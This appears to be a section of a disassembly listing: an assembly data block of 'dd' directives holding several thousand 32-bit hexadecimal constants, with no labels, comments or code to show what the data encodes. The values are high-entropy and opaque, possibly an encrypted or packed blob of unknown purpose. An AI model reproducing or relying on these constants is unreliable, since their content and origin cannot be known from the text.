		dd 63B8E096h, 991FDFF1h, 6C996649h, 97443A4Eh, 55D7FB13h
		dd 0D510D333h, 0E2826066h, 9CFE4E27h, 6A886ACDh, 0AFD7EEACh
		dd 73CCCD76h, 0EFE8D901h, 64F86CC5h, 618FF677h,	0E989AED7h
		dd 392D3676h, 7F48279Ch, 87981B6Fh, 888A9439h, 87340C46h
		dd 877E8D5h, 904BC567h,	9AEAB22h, 0F8067497h, 89B4F04Bh
		dd 7BD52B81h, 532C0806h, 1F85D10h, 0A2475A65h, 0B2D50370h
		dd 5A2AACA9h, 790F431Bh, 864D626Eh, 0F53CED8Dh,	0F762D600h
		dd 0F55E2D12h, 2D65BF66h, 8124FEA9h, 854EE02Dh,	0A581F614h
		dd 53B28831h, 0C2CA81A4h, 7B6366FDh, 0DA83EF4Ch, 608E76E2h
		dd 0E6A321A4h, 0C57A085Ah, 0F8ED096Bh, 0F9F75AD2h, 0A1E99483h
		dd 2A67DFC7h, 0A9439C4Ch, 36E37F75h, 0AC147CC6h, 3284FF2Bh
		dd 0FFDD7D0Dh, 8B18D4BEh, 78B916B4h, 4BB533C4h,	0DD33CA6Ah
		dd 9C7EFE71h, 377B0A48h, 0FF624D78h, 44D67F37h,	0A6E61D51h
		dd 6AB38ED1h, 42F2A077h, 87E8D83h, 14053475h, 0DEA13C26h
		dd 1D5AE900h, 7BEF5942h, 5AC8A4B7h, 0F51C8E1Ah,	6CAD0F07h
		dd 0CB317821h, 0BED9FB71h, 1ECB0B79h, 0ADF2C411h, 95EE5D94h
		dd 3E812AC2h, 5B4C460Bh, 0A077E655h, 7023E53Ah,	2661C46Ch
		dd 0CDE05CEh, 5B4101B2h, 0D856BEB0h, 62F5C4F2h,	0A2AD2AC3h
		dd 1E4C9A40h, 55629192h, 204F99B7h, 4517AC69h, 92BBC70Eh
		dd 1D947E14h, 0A94C7742h, 51911C10h, 66CF0BA9h,	7886811Bh
		dd 0A30ECE9h, 8B7ACE2h,	548F22DBh, 132A578Ah, 0F996D233h
		dd 0F62A05AAh, 0EEF88F68h, 0DD0B92A9h, 0B3952FCFh, 17B9D5C2h
		dd 4528239Eh, 0F964F494h, 80F8F162h, 0FCD34889h, 14D793EEh
		dd 12A4C427h, 0C9850597h, 6A7C54F6h, 6B9B208Eh,	90D513E2h
		dd 9ED32051h, 0C88AEBD6h, 183B4EE2h, 8256F03Ch,	19FA57CDh
		dd 3395496Bh, 2BE59E7Bh, 7E640EF6h, 5B0AC3B5h, 3DA01022h
		dd 0B109E01Bh, 451DBCF5h, 7ED4E4Dh, 2F140C8h, 8C470D06h
		dd 0ACEC3C59h, 0E4121CE1h, 9B7A4842h, 0C94E7B3Ch, 33888F14h
		dd 0F88B1C9Eh, 5BCA6259h, 45452615h, 8652AF91h,	41D22F9Dh
		dd 172832D9h, 5ABEA72Ch, 420AD9EEh, 230962BEh, 47772A16h
		dd 54FF11CAh, 0D4F661F0h, 98BD3C88h, 75655B7Bh,	0E0F3F729h
		dd 3EEDCD33h, 0DDB4C56Dh, 0A6BD4DAh, 7401BC90h,	9C5D48CEh
		dd 601E616Bh, 0A09DE57h, 2EE9C1FEh, 0CFD4A2D2h,	6ED23B99h
		dd 96A440ECh, 5DDF4697h, 0EB4F6482h, 0C43C7CCFh, 67E1FA07h
		dd 28898AB6h, 0A062F262h, 11EAA7F3h, 20BC56DCh,	8E1DFA95h
		dd 0EB3E2E87h, 0AE89E7D0h, 0C7554A37h, 8DB2C171h, 0D42B0DF2h
		dd 66BF5901h, 31664851h, 3A79AD41h, 9C850BEBh, 0E62ED69Bh
		dd 1628760Fh, 0E1185060h, 93E31F07h, 0F1E7A87Ah, 7C1D5713h
		dd 0C3BD4C67h, 1E5B8A68h, 4E6398E8h, 49763C16h,	0BBEBE57Dh
		dd 0F3DBF582h, 0C197B45h, 6A44C490h, 0BCE49C6h,	406C5A86h
		dd 0C476D9CEh, 85C4140Eh, 0EEA3ED41h, 5A32BD53h, 6E2B177Dh
		dd 0E69712FCh, 9B46678Fh, 226D05CFh, 8EDD0ED0h,	4340506Bh
		dd 0D66A29B5h, 0C2ABE767h, 0F6F439F2h, 44797D2Ah, 700771C2h
		dd 90ECB685h, 0BC2162h,	6CB778DBh, 0F2DB67DBh, 90001190h
		dd 9D303229h, 462699Eh,	0E2766F19h, 0C442094h, 6D6D935Ah
		dd 0F578C57Eh, 0B7CF6011h, 3F58B77Bh, 90B8DA5Dh, 10B7CF85h
		dd 0DE4189DCh, 0CBCCD999h, 5B880B71h, 8334519h,	0F27BEAE5h
		dd 1A3AD6D6h, 9C0E1CB1h, 9746EF99h, 1C11890Bh, 9E85CFECh
		dd 0B1CDED20h, 74045065h, 0F95BE179h, 0B95240D5h, 7E5E6FB6h
		dd 0D9BE0975h, 21533A45h, 4F19D793h, 7658469Fh,	9BCA32C7h
		dd 0E876D1A6h, 30630683h, 0AF23D143h, 2EC9564Fh, 490A4A51h
		dd 594A7641h, 4FF82659h, 6590FAE1h, 81E2EC33h, 0D4FDEB12h
		dd 5D880C14h, 73465711h, 0C3FDA20Dh, 0C6433ADEh, 8F6C56FFh
		dd 5B227A9Ch, 7D06AB37h, 9BA0F369h, 3FDB1653h, 9285EBD1h
		dd 0DAFB424Fh, 0C4007CAEh, 0B2827629h, 0A3E8B892h, 0F3F1A4EFh
		dd 504F6AF5h, 0F9970ED3h, 0AD625E94h, 0B2CA363Fh, 3AA6177h
		dd 816928F8h, 71BDA9FBh, 0D0857A2Ah, 4D6E3AC7h,	18EAB4C6h
		dd 749C8690h, 3B21CAABh, 8A918EE2h, 2B0EDDDBh, 0EE75C819h
		dd 602ED5E7h, 96A3BCCCh, 20CCA4DAh, 0E58625F5h,	7FF9E5E3h
		dd 0FC6ED981h, 0A79DCB54h, 8AB32557h, 0A59EF10Fh, 2E6FB496h
		dd 8340FBB8h, 0F43CFDF0h, 1170719Fh, 3461FFF9h,	0B230774Bh
		dd 57BF788Eh, 85E5F078h, 8091FBD0h, 0F1AA3618h,	629E82E9h
		dd 668C325Eh, 5D61C24Bh, 29A78D5Eh, 694DEBFh, 0D8B9868Eh
		dd 0B72F5125h, 862D3FB7h, 0BA5D5DD7h, 309500EEh, 6D14CD5h
		dd 84D63263h, 0D1615649h, 8F9968B8h, 0E258A80Fh, 0B4313266h
		dd 0EE74EC20h, 0CA8DA9EDh, 9A3F93FDh, 0CD82402Bh, 0D7A46FE0h
		dd 0A8117107h, 0BC583981h, 77A8341Dh, 49089CEBh, 0C7FB2D19h
		dd 0D63A44D0h, 3D44233Fh, 0E4892D4Ch, 0FE48C643h, 89CF7DE0h
		dd 2311F8E9h, 0A04824B0h, 0B7F81FB9h, 60FB0760h, 0A57A7D72h
		dd 253D501Ch, 0CDF7E86Fh, 0F85B24B3h, 0E9804211h, 5C22956Eh
		dd 6907D1CDh, 0CFDD52B9h, 90736DEFh, 18F87DF0h,	0B63E7082h
		dd 50F86B19h, 79531AF2h, 1913F72h, 98CD8744h, 3C13A328h
		dd 71A09E6Dh, 0A87EB2BDh, 216D578Fh, 28E36E93h,	45B90BD6h
		dd 4669D779h, 0BA341985h, 0EBF4B7FDh, 3F055FD6h, 654AED0Bh
		dd 6B57B58Fh, 0D4E96584h, 7FEA311Fh, 0A3985942h, 0C17A3B9h
		dd 0E9C0AEADh, 732842E0h, 0CB9A5443h, 0AD53F570h, 61F222B6h
		dd 765FF96Bh, 90D48AC9h, 0C6346B5h, 0D9F00830h,	4B183EDAh
		dd 40BF757Ch, 0D8C6E339h, 2FC259F5h, 49B19F13h,	3862C99Eh
		dd 8C9F740Fh, 0E14AD954h, 2E97EFBEh, 0F86B4CB4h, 5F15B07h
		dd 30D8A82Fh, 0B5A99BA8h, 0F3722BD2h, 8FD46640h, 0AB30216Bh
		dd 0FBAE0916h, 7931931Ah, 5573C65h, 7C140834h, 0F829AD1Bh
		dd 0C8A7FA96h, 0F76FAA2h, 0C5DA1D07h, 0E583EFE1h, 5C17B1BBh
		dd 0E9E736F0h, 0AD7950h, 10509E38h, 739BEB49h, 0B6E8EC6Ah
		dd 693DF5BFh, 2D699EF2h, 0AC85E54h, 2EA371A3h, 8A60FF58h
		dd 0ED9103AFh, 8D3ADFA1h, 0F2742FE4h, 6C204EEFh, 41DD6215h
		dd 0D950E07Bh, 0C2C5D42Eh, 7BB1ED72h, 0CC91B31Dh, 0EF9DF5F4h
		dd 8D7CD548h, 0EECA8D93h, 81901E59h, 0DFDB2688h, 0FB054514h
		dd 266880EEh, 3E3A7773h, 2DE341BDh, 0FE9D016Fh,	0E43D5248h
		dd 0DFFC3F29h, 0DE85ADBh
		dd 49745395h, 0B9BBA3C4h, 204E1A1Eh, 8E9D2592h,	42B4F7Bh
		dd 81FDD867h, 28BEF68Ah, 366085D6h, 83161BE6h, 29599Fh
		dd 9B504976h, 0BEA840BCh, 0B10E1002h, 2E5BD58Dh, 0E26A627h
		dd 0B7ADEC29h, 87D0A00Bh, 0F6622971h, 9735121Bh, 0ECA6BA5Ah
		dd 263FFCDEh, 96795BC4h, 503B6D3Bh, 8A020243h, 8A1D525h
		dd 2104F9Ah, 0F0739F6h,	0D2B3446Dh, 97A03BC9h, 55BD467Ch
		dd 9538657Fh, 0AC668169h, 87EFEE57h, 3237CA31h,	0CFA4E38Ah
		dd 520F61F3h, 85C52BB0h, 0AE8C22CDh, 88BEBAB6h,	1F7E0BF1h
		dd 35735105h, 1B493D3Dh, 47D3E55Eh, 93073D48h, 0CD0A3AA3h
		dd 0D2FC051Ah, 5A11E661h, 2881B9B5h, 0A363B45Dh, 36F08388h
		dd 83668A9Fh, 87868E37h, 1F1FE9FCh, 0A612B0h, 60CFFBE2h
		dd 24C6B584h, 7D5A420Ch, 17D0C5D8h, 0C9860A9Fh,	5C4461A5h
		dd 0CF618BCBh, 331F43Bh, 22AF2039h, 9FA0B55Ah, 0E94FDC5Ah
		dd 21B54A67h, 41FBDFEDh, 20A7AB67h, 7894C5F0h, 0F3E4EC1Fh
		dd 5E731026h, 86E93A5Eh, 0AD85A1FAh, 5F14DAC9h,	88B4255Fh
		dd 0CDEFF33Eh, 0F721D9A9h, 7C8D346Ch, 0EE8726F8h, 0A0E05206h
		dd 4CA3CEA2h, 0EC8501E7h, 0E897A218h, 0FFB4FDEh, 9640BBDEh
		dd 63C9EE53h, 0B94C72DEh, 603D3791h, 449C3228h,	1C25DBDFh
		dd 80F1E78Ah, 0E706BED7h, 7B023225h, 4FC5A584h,	162FD219h
		dd 0C3A63A01h, 23D3A775h, 301FF2A2h, 48354881h,	7B0BC76Ch
		dd 64013894h, 928FD1E8h, 7329530Fh, 93D7B864h, 16779DEDh
		dd 59FB2620h, 5FB1AFDDh, 73EB58F6h, 18966ACAh, 0B3C94EBFh
		dd 75B40D17h, 0A2285E0Dh, 907B0B42h, 0BB93A713h, 177986E5h
		dd 61FB7EE6h, 72106F5Bh, 0E0953B39h, 5D5C298Eh,	2A449BB0h
		dd 0CE40C73Fh, 27C895A8h, 0F66A2EDBh, 88929982h, 2C726763h
		dd 43078087h, 26152A3Bh, 0BA61D5E6h, 105A3383h,	6D35BE03h
		dd 97540277h, 0F19FDD32h, 0D08634DDh, 91A4E4A9h, 9AE2EAABh
		dd 0D6C3EC10h, 421B85BDh, 0D84EB856h, 3544A47h,	1D65176h
		dd 66EFCD47h, 0F01D565Dh, 0F81FA193h, 0D71D78ACh, 0B6A1AA4h
		dd 500E90Ch, 1B5F56E2h,	0D69DF5DDh, 66ABEDB8h, 0F98E1DA4h
		dd 1CA2F6E8h, 871644EBh, 14B56341h, 0AB0B47D3h,	3DE959CCh
		dd 0B27811EAh, 19AF9756h, 0C5BD51DBh, 0E760FBA5h, 0E549E9CBh
		dd 0ED9B7FDAh, 65E67BAEh, 4833FC75h, 250705Fh, 0D4A33C31h
		dd 8B312331h, 0D6C2EBDh, 963C0F3Ah, 2117FFD6h, 46EE7625h
		dd 0DA505D35h, 0CFD36C90h, 1A2EF77Dh, 0CE296F8Bh, 1E59CE73h
		dd 2D21DBC0h, 9DE2EFAFh, 0B2E860F3h, 0CEC1B7Fh,	0F434EBC3h
		dd 7B96D2DBh, 0FE86637Eh, 26CAB74Bh, 0E12D60C8h, 5FBE31F0h
		dd 8F25C2ADh, 0A4C63769h, 12B0BBE9h, 15FAB1FBh,	0A5CA1399h
		dd 0DB055846h, 3428838h, 0CC0A1148h, 0CB28AC74h, 7E0E54D7h
		dd 791143A9h, 1DD1C5BEh, 36C9D7C5h, 0C4A592E8h,	87C77DC4h
		dd 2B48E322h, 3C9EB4A1h, 0D12746CFh, 30A2B24Bh,	524FA2F9h
		dd 0F0213ED7h, 0AEE02979h, 0D2EBFF4Eh, 6A6C125Ch, 0C7A4AC3Ah
		dd 0CB43BD44h, 0E018EADCh, 0BAAC8179h, 0E87F0F88h, 741C4C2Ah
		dd 284D0D11h, 8B4C582Bh, 60DABEA7h, 0CC8EB1Eh, 25A7B522h
		dd 0BC832500h, 397A519Ch, 5A370286h, 6A47499h, 4A3117B8h
		dd 43EF9B6h, 45509332h,	0B7551549h, 9F340BBBh, 9EAB3601h
		dd 3ECBDE1Fh, 4713664Dh, 0C48B8A44h, 40CB3872h,	43C6FF29h
		dd 447B2412h, 15E79D24h, 0F37D9679h, 0BD1014AAh, 2BCADC1h
		dd 8034D7B5h, 774B1ECAh, 80EFA0E4h, 0CC0FB780h,	661F8063h
		dd 0A5980177h, 2864F548h, 87EB392Eh, 5FA00635h,	54172B5Bh
		dd 0D3F1B0C8h, 86C35CEh, 0F0C2B2D6h, 0A30EF3AEh, 0E94C585Ah
		dd 1EC1E91h, 4BA2CF37h,	89631A31h, 6EE6428Bh, 45A55D8Dh
		dd 0EDD03D98h, 5E9445D9h, 0F29D018h, 1B45A086h,	94CE80Ah
		dd 338E4079h, 0A41D61A4h, 0C0E2EC3Eh, 29B9A55h,	16E88910h
		dd 683C62ECh, 17C5CC53h, 0D3DE2F7Ch, 0CE0F968Fh, 19CC259Eh
		dd 5AE4C513h, 0ED88976Dh, 0B2630390h, 3FE94651h, 0A7DB0598h
		dd 0A8D52F08h, 3984A44Ah, 97C896D3h, 2D758371h,	9180CA47h
		dd 8CF09346h, 6BC4B402h, 0B12900C3h, 0B69B6640h, 0E02F749Fh
		dd 55A162B7h, 4197D5D0h, 81FEB799h, 5244815Ch, 0E6BAC7F4h
		dd 0CEF5DC60h, 40DAB427h, 1E3F6219h, 0D315F0ACh, 2A22BF3Ch
		dd 0EA402DD2h, 2406A80Dh, 17BDB746h, 8609D253h,	7715B86h
		dd 5EEE065Bh, 1D06E1B9h, 6A9C1CB1h, 4DBDF558h, 0F0712C56h
		dd 0E0FDFC2Ch, 207D26EFh, 8BB731A5h, 418B5359h,	0A684A96h
		dd 9A6F80ACh, 0F6042830h, 3D654A85h, 33759FBDh,	417D8489h
		dd 3D3252B7h, 61E8C1E8h, 8685AB7Bh, 0EFF2C17Ch,	30C6445Eh
		dd 19F61F56h, 2FE7D379h, 2E34DC86h, 0A4092AB9h,	0D46FB489h
		dd 6B74D7C0h, 0EAAD0B5Ah, 34A05DDCh, 24534A68h,	61181DD1h
		dd 69F49244h, 280F037Eh, 38055C60h, 8066D01h, 59468C1Bh
		dd 0ADFFA129h, 32788CA0h, 0AFC949B6h, 3EA427EEh, 0BCF2E294h
		dd 74B7909Ah, 0C627D9E1h, 90A62B0Eh, 11C37C0Fh,	0CC9D9541h
		dd 0BB2A220Ah, 8C9F4B4Eh, 8D74E577h, 0F6B06938h, 0AF402B90h
		dd 3CD158D0h, 27ADAE08h, 2CC9D31Eh, 0AB306FE3h,	6BD7A082h
		dd 0B6813CC3h, 0C7362C8Fh, 5A15E6D4h, 0DFE039Eh, 5F734499h
		dd 0F4D5C371h, 5693F003h, 0A293A4E9h, 90E39B74h, 39360E53h
		dd 2C678180h, 0BC9BE9h,	0FCB13A06h, 30D683EAh, 6705848Ah
		dd 0F8ED2C68h, 2815C7A8h, 3186E97Eh, 75083582h,	831EE3FCh
		dd 915530B0h, 0B8C2FBEh, 3170B2E2h, 2A3CB546h, 0E86A30C7h
		dd 0BD38FCA4h, 0F2DD3FAFh, 0F5C328A4h, 139BD5Fh, 427A6DC2h
		dd 0A90421F7h, 642CE49Dh, 476B0133h, 87A7C4ADh,	80FF38A7h
		dd 93AA65CCh, 0FA377AA0h, 0E30AE8E3h, 2F166A5h,	0BF653B4h
		dd 71D09D9Eh, 530F0444h, 3493B97Ah, 15548B3Ch, 9CE1F2DBh
		dd 84D51EB3h, 2328A22Eh, 0D42ADFE8h, 51E39F58h,	48A3E17Bh
		dd 0B4E0D333h, 0FA8BAC51h, 0E65E63F1h, 0FC00F957h, 17B12834h
		dd 0AAC3C4EFh, 6B039DACh, 0E693EACAh, 4DBF4236h, 0E8BF709Dh
		dd 0CC3331FDh, 0D3F25C94h, 6CA88A0Bh, 0E84BFB95h, 0B9B6B0AFh
		dd 0F9112871h, 6F29F75Eh, 0B7C36B07h, 0B7CF94C8h, 1FCDF0C9h
		dd 46804429h, 45B2E11Bh, 0C28ECE2Bh, 0E7E91317h, 0A5EAB8A4h
		dd 9067D851h, 1B7171FAh, 3318B918h, 0CD27C563h,	0CCDAFF98h
		dd 4155B3C3h, 0AEC24CBEh, 30D83EAEh, 1E22CFE3h,	831F8FDBh
		dd 6F20C4D0h, 0E139BA0Dh, 344012A6h, 77D924E1h,	66999F12h
		dd 50F3EEF0h, 4EDB632Bh, 64B6C8F6h, 28BA457h, 0E2DCC9DFh
		dd 539334B1h, 0B04FDCA0h, 0A3DF3A62h, 954E2E5Dh, 7FDC66A1h
		dd 2AAC6499h, 95168A38h, 54F7406Bh, 90AAD291h, 0AC68F649h
		dd 5CE50A4Ah, 6D9CA742h, 0D230D902h, 6442184h, 8BD67428h
		dd 4BB654CEh, 6D710C4Ah, 0E73746B2h, 7A6E3BD1h,	4A69CD58h
		dd 7524C88Eh, 289045D0h, 1B11AA92h, 7C112E56h, 5EE0FA2h
		dd 35E27CD5h, 0E0974DEDh, 57E132DEh, 0BACA398h,	2C6F03D7h
		dd 0E0B05CF5h, 0FE3F45CEh, 0B4140E6Fh, 0EB822E79h, 0E5060E32h
		dd 5CE09629h, 67A49E83h, 7B2208CFh, 0BDE67EE9h,	45C7CA6Eh
		dd 9C831CB2h, 5AA1646Ch, 0B909147Bh, 5A12461Ch,	0D39D614h
		dd 2DE4F02Ah, 930FBAE5h, 93F5149Bh, 0E4318030h,	19A4B1F9h
		dd 341E31C1h, 377B0D68h, 0F8FF11E1h, 9E8042B4h,	234596B4h
		dd 50A19F44h, 0EED494A0h
		dd 1299DA1Ch, 0E6CA7296h, 2CB91CFCh, 421F1457h,	0EEE55BB1h
		dd 79EECA57h, 7B6BA584h, 0E4B31068h, 9C22F000h,	0CC1F1358h
		dd 0E01F0F45h, 912FCA12h, 0AF3CC205h, 0C007B128h, 0DE66A018h
		dd 3CB591B5h, 8790A001h, 8DE3E5BBh, 3E2C334Eh, 896BA475h
		dd 7F3C60A3h, 62AC72BEh, 0B2423748h, 0B0602975h, 0EF642191h
		dd 0C1C5CAA1h, 799C30D6h, 31FDB259h, 4250B0A4h,	0D580CE96h
		dd 0B85B3CA3h, 64405D88h, 3559D849h, 43400091h,	45A4D29Dh
		dd 65B7144Fh, 71958FD5h, 2635DE29h, 3E80C614h, 0B4EE7536h
		dd 0EE6969FBh, 0D085D067h, 92D73080h, 0C1B9EF34h, 58D30116h
		dd 2B4B26D1h, 0B1F36BD1h, 32D35AB0h, 1608C7Eh, 0E1DBB22Dh
		dd 53951AA4h, 0D29FF121h, 4A3689ADh, 33972BCFh,	0A933338Ch
		dd 0AE3BE804h, 64F9BD08h, 0C6F70EB9h, 9EC32315h, 0B98CA4EEh
		dd 50C299C5h, 3592CD6Ah, 4AB2526h, 9A996F2h, 0E1D742E3h
		dd 55E6752Bh, 80403D2Ah, 5F6CA83Fh, 8465F417h, 0BB5D0C5Ch
		dd 0F6FEEF9Eh, 3D334F7Ah, 0B560B42Ch, 1821EC69h, 44482675h
		dd 0A6DCE9CAh, 0F497D7BEh, 0B2BAE13Ch, 811411BBh, 5A464E0Ah
		dd 7FB6FA55h, 14751AF9h, 9EFCB348h, 6713A9ECh, 4DF881Bh
		dd 23F186ADh, 0F244FECh, 0CD94225Ah, 82993ECFh,	0DE0DDA3Fh
		dd 0A28C1564h, 92AD6E3Dh, 1381FCBBh, 2FD6A08Dh,	933ABDBBh
		dd 0DA5B543Ch, 73402E3Fh, 0C9BD90E8h, 0D48FD3AEh, 28C12C1h
		dd 1EE49F67h, 0B430FBF7h, 23F0E39Eh, 0B2CF1E7Bh, 84327417h
		dd 7EA15760h, 54454B8Ah, 8C98685Fh, 0BD168DB4h,	0F4FE1DCEh
		dd 0C48268AFh, 0BBCD663Fh, 0E3A57317h, 43F65432h, 217991E7h
		dd 0EA2C0E09h, 0ED9CBAAEh, 0F1D738B1h, 8F106381h, 2F3634BBh
		dd 2A80F6E8h, 5503FBE4h, 468BE24h, 82123AAFh, 0B0DBF6F8h
		dd 561B9649h, 0CE20014Ah, 0C36FFF1Ah, 0EC8600D7h, 4F162968h
		dd 0EAC20358h, 0BE4F4C3h, 2B09BE31h, 7C342889h,	6071DB68h
		dd 0ED907EC4h, 174D96D1h, 49B15E86h, 0C375D44Bh, 0B79A1F81h
		dd 641DF083h, 4F4D4A08h, 156B088Ch, 5687EE47h, 9A139956h
		dd 2B35BABEh, 0F5147728h, 0A489D136h, 840D8D7Ah, 0C6D53515h
		dd 131FE14Bh, 0CC027170h, 0F9ADD432h, 52DB0B27h, 0A873439Fh
		dd 6BAD1964h, 632FF298h, 2A068B97h, 657BDC87h, 0D6198FB0h
		dd 0B7AA67Ah, 0A14BF84Fh, 886391B6h, 84E617A0h,	0D383CBB8h
		dd 95B86502h, 41B255EAh, 1BD07FCDh, 9CF5D158h, 746A2176h
		dd 0ED0D406Eh, 0AC1B8D22h, 0DAD53FFBh, 0CB03D6E1h, 557FBE3Bh
		dd 0BFCC4D89h, 3AFCF173h, 0D645A461h, 3C2E4EB8h, 0BAA9B4FDh
		dd 0B0CB4CE5h, 0EA9E1923h, 0BB3B1CDBh, 0D73C7F0Dh, 49501917h
		dd 1A9B3D3Ah, 0AD5FE6F1h, 129C8183h, 8D9A763Bh,	5EB0E538h
		dd 0FC0703C4h, 66CEDE01h, 5AC12E49h, 0F96DC4E4h, 998BAFE2h
		dd 65903D69h, 61E34F4Ah, 78C3872Ch, 0CCFA8F82h,	0FDA0A15Dh
		dd 5918F91Bh, 859A403Bh, 1EB49436h, 65C97457h, 99F92F34h
		dd 14FF6E36h, 0CFEC37Dh, 8677AF32h, 6CD33E41h, 36F81E2Ah
		dd 8CF4E0AEh, 0F0971DEh, 0BCF2ABB7h, 0B48AC03h,	0DFF481ADh
		dd 0B122983h, 2446BE07h, 0B6C2EE16h, 0FA4B2409h, 65A66E15h
		dd 5207E7C9h, 0B14F4F2Ch, 2E61737Ah, 3CD99C65h,	5F879FB7h
		dd 2E02717Bh, 0E5F0A2Fh, 0DC4DD43h, 72B9FE29h, 0DD91E29Ah
		dd 2F35E42Ah, 0BFD37A35h, 44B3660h, 74ACE646h, 0B195551Eh
		dd 5E1AB4ACh, 0E01D0C5Ch, 88822CCEh, 3190E9C9h,	85B6FD43h
		dd 312A5966h, 0A311DC96h, 5E1B60Fh, 745BD496h, 39311FC2h
		dd 9ACEA07h, 0A4C17706h, 8A8046E6h, 462815A5h, 20C7A127h
		dd 785EF22Dh, 0BC4AE1DBh, 0F108AEh, 179DD886h, 7E05F7B9h
		dd 0E5174068h, 0E848CC51h, 57110DF7h, 3C2BCEDAh, 196FA8D4h
		dd 25B1B5A1h, 9A656EA8h, 0ED5435B8h, 0B71627ADh, 0BCAEA935h
		dd 14723842h, 3B4A6A79h, 4C28F9DFh, 0E8741EFEh,	4602E117h
		dd 301B685Ah, 0DC37CCF0h, 6327AE31h, 4825F69Bh,	126B029Ah
		dd 6B53AA64h, 67E04B84h, 0A30F688Eh, 339CD70Bh,	313E4BFBh
		dd 0E09FE7DCh, 32060F66h, 0A4536E70h, 2A38A7BEh, 9FA0B194h
		dd 0AEC62F8Dh, 83FB425Fh, 0F9FA83C9h, 0E92FE4B2h, 0E646E080h
		dd 8B8D6046h, 1306A932h, 0D264C9DCh, 0AD247F5Ch, 7EB22179h
		dd 0A6BC74ABh, 0E0EEFE08h, 0BAC92925h, 0B95B3662h, 0B1CBDFEBh
		dd 0CCBA87B5h, 0CD6AF5C1h, 0EEF4CD5Dh, 0A06F6C37h, 0B91903FBh
		dd 6CC6D321h, 0E8D7707Ch, 1198E40Fh, 5EAFD01Ch,	26703C60h
		dd 0B4D30E8Bh, 2C7CB86Ch, 0C0199A73h, 35A1E220h, 0BB399AD1h
		dd 0F6E4950Fh, 1956A0C7h, 0E58F43F8h, 0E22BF3FAh, 5230C89Bh
		dd 0FFD6FB59h, 0B9A793C8h, 525EBC75h, 68FFDB2h,	8D47CACBh
		dd 0FB52461h, 0A122933Dh, 3CFE9B2Dh, 493B8D13h,	2779D478h
		dd 8AF9A288h, 24658198h, 0DE213FC5h, 0D1DAF5E2h, 2837A6EBh
		dd 0A13A9DFEh, 515FCA45h, 0F673F834h, 5845AED4h, 7673EC62h
		dd 0BEC5DAh, 46AA83F7h,	12B997DBh, 0C4C81176h, 0DB1D2DFBh
		dd 0BCE023h, 5EB4B0BBh,	0D1BE912Ch, 0AF47726Eh,	74D80DABh
		dd 0F994BF37h, 7EAD433Dh, 0DABD9ADDh, 841AC3D6h, 0BAD35D26h
		dd 3790E7EDh, 0EC571794h, 0D872DDBCh, 0AAEEA51Ah, 8D0913A7h
		dd 60B0FE33h, 0A2C4A1E0h, 26ABAFC5h, 6134BB8Bh,	806C3066h
		dd 70DF83Bh, 9303DF4Ah,	26273756h, 0BD2D3715h, 701DE615h
		dd 59B4057Bh, 879C520Eh, 58C810B5h, 8F431A6h, 46E8F7F1h
		dd 56C5A171h, 0BBD022E8h, 0E0CBA6D1h, 515CC356h, 0F7F38364h
		dd 958A0CF7h, 21EE4844h, 0ECC398Ah, 0CE6C659Dh,	0AC21CC0Eh
		dd 28A6F895h, 2803260h,	0CFA0D333h, 1C84EEB2h, 5A846848h
		dd 0DF17BEE0h, 15CB5C95h, 26FA1152h, 0B6C09B58h, 0DEC8A407h
		dd 8F08D9CEh, 17D7D598h, 874A4A0Ah, 0A496418Dh,	7748F08h
		dd 9F7CD7AFh, 830002Bh,	37212595h, 0FD1B6BF0h, 284B6C00h
		dd 9C6250C2h, 20E990C4h, 63222233h, 9E7AC4D1h, 46B1B095h
		dd 8621C268h, 0BC40E503h, 6992D844h, 7F432B1Fh,	1E53E38Bh
		dd 0B2DE6030h, 5BBE7D9h, 74F3DCA5h, 395D1D20h, 23AA5E05h
		dd 96B18F62h, 34CE113Dh, 7B252DECh, 96ED025Dh, 0B2D6A263h
		dd 9C3B19ABh, 0E6A02838h, 1A311B9Ch, 9CD436F2h,	0D81EE15Fh
		dd 5923F2E9h, 79619B5Ch, 81C7C1CAh, 0A13CD26Dh,	3677ADA0h
		dd 868E225Ch, 5527904Dh, 7862C1AAh, 94892BCDh, 0AF9E6620h
		dd 2B08C750h, 0E8E49C11h, 91446AD4h, 8A48F2FDh,	0B3757017h
		dd 57C327Ch, 0D55E67FCh, 784EC0D2h, 0AAC5575Ah,	5554C8FAh
		dd 0ABFBE97Ah, 9BE54B4Ch, 0B93B4E1Fh, 1A650238h, 1E983237h
		dd 2D5061Fh, 98811CDDh,	1C888F4Ah, 0B8C9AB66h, 0B5AC2ACCh
		dd 607A5F29h, 816E99E0h, 1875765h, 24485E21h, 12E2ECB2h
		dd 0C8C975D4h, 0BDF8A8C3h, 108BFF3h, 11AE3134h,	458A6F29h
		dd 249F955Dh, 0F0A410CFh, 0B7B1415Fh, 165B512Bh, 30F561A5h
		dd 0A7250F85h, 247EEF46h, 0A3D895F0h, 0D63AB36h, 0CD131E78h
		dd 2CEDDEF4h, 0E2CEEED7h, 84D4D3A5h, 1472079Dh,	0AED302F7h
		dd 1BD5AF32h, 0FD0412D4h, 0BA49846h, 0C09E3488h, 0C13BC9FBh
		dd 3524F674h, 8D0AA3EBh, 88DA060Ah, 8851C25Dh, 313A6463h
		dd 0F8060CC5h, 0E521CF07h, 0F733FE3Eh, 3CCCABAh, 2C4D3996h
		dd 3FD0BA12h, 75D84AF4h, 773B8ABEh, 0B9E32A68h,	0FA9CBF6Dh
		dd 9E40006Ch, 291F7E5Ah, 0ABBFF9Bh, 1D1FD6FEh, 52F33FECh
		dd 6D584825h, 64750B34h
		dd 529BE2ECh, 4F3AB0Ah,	4BDB3690h, 0B124FB78h, 90AE653h
		dd 28AC3E26h, 3B9E454Dh, 0E36D07BAh, 0B6329CD8h, 98FD372Eh
		dd 67F00944h, 55EF79CEh, 654FB5BDh, 56B3645h, 0AE5B0A31h
		dd 0A34D853Dh, 155BC2F0h, 50B7C784h, 51EA900Ch,	7761C780h
		dd 756C0DFCh, 7CF6726h,	0EB4A5F76h, 302B166Ah, 0F19D3781h
		dd 9313CB21h, 6D91F17Ah, 0FB47EA0Bh, 5CC9BDAAh,	1F99E50Ah
		dd 0A0979370h, 26B653h,	90337542h, 0C6D3987h, 8071FAC1h
		dd 4559DC24h, 53D30D6h,	6AFF4414h, 0A79D3C61h, 0BDA1C97Eh
		dd 41F47EE7h, 0BD09E15Eh, 0FD703FAAh, 0E28E1104h, 0B5A8E40Ch
		dd 61446D28h, 1E09253Ch, 2173E09Dh, 78C15D8Eh, 0D0710FBDh
		dd 0B04D3741h, 0DEB40DC2h, 0DD7CF3E7h, 56360ED1h, 659E53BCh
